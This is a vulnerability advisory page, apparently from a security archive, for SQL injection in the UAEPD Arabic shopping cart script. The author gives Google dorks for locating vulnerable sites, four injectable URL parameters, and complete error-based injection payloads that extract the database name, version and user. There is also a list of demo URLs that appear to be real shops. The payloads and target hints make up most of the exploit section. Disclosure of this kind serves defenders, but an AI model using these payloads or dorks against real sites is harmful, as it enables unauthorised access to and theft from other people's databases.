UAEPD Shopping Script SQL Injection

2014-01-09 / 2014-01-22
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

uaepd script Multiple Sql Injection Vulnerabilty ==================================================================== #################################################################### .:. Author : AtT4CKxT3rR0r1ST .:. Contact : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com] .:. Home : http://www.iphobos.com/blog/ .:. Script : http://www.uaepd.net/ .:. Dork : [1]inurl:products.php?cat_id= Powered by: PD [2]inurl:products.php?p_id Powered by: PD [3]inurl:page.php?id= Powered by: PD [4]inurl:news.php?id= Powered by: PD #################################################################### I. INTORUCTION uaepd script is arabic Shopping Cart Script and have many Features II. DESCRIPTION #Control Panel provides an Arabic or English. #View the store for the visitor in Arabic and English. #Possibility to choose one language or operating languages. #The ability to add unlimited number of pages. #Format property provides all store pages. #Add YouTube links and images in all the pages of the store. #The ability to add sections of main and sub. #Add an unlimited number of products. #Add multiple images of the products. #Availability of property sizes and colors for each product. #Print logo on the product images automatically. #Availability of property with a shipping price for each region. #Buy products shopping cart system. #You can ask system of members with or without system. #Three ways to pay:(bank transfer-Receipt & received-Paypal). #Send an e-mail automatically to any purchase or booking. #Provide a search feature in the products. #Availability of the currencies of the property. #Comprehensive statistics for the purchases and reservations. #Guestbook available partition. #Provide property advertising space multiple places. #Property provides the tape device. #Offers the possibility to close or open the store. III. TYPE BUG Sql injection (command double query) IV. BUG site/products.php?cat_id=[sql injection] site/products.php?p_id=[sql injection] site/page.php?id=[sql injection] site/news.php?id=[sql injection] VII. EXPLOIT TO EXTRACT VERSION & NAME & USER DATABASE: site/products.php?cat_id=99999+and (select 1 from (select count(*),concat((select(select concat(cast(concat(database(),0x3a,version(),0x3a,user()) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 site/products.php?p_id=99999+and (select 1 from (select count(*),concat((select(select concat(cast(concat(database(),0x3a,version(),0x3a,user()) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 site/page.php?id=99999+and (select 1 from (select count(*),concat((select(select concat(cast(concat(database(),0x3a,version(),0x3a,user()) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 site/news.php?id=99999+and (select 1 from (select count(*),concat((select(select concat(cast(concat(database(),0x3a,version(),0x3a,user()) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 DEMOS: http://sedenshop.coXm/products.php?p_id=3 http://www.henna.Xae/products.php?cat_id=1 http://www.shah-Xeen.com/news.php?id=1 http://www.nourXita.com/products.php?cat_id=4 ####################################################################


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top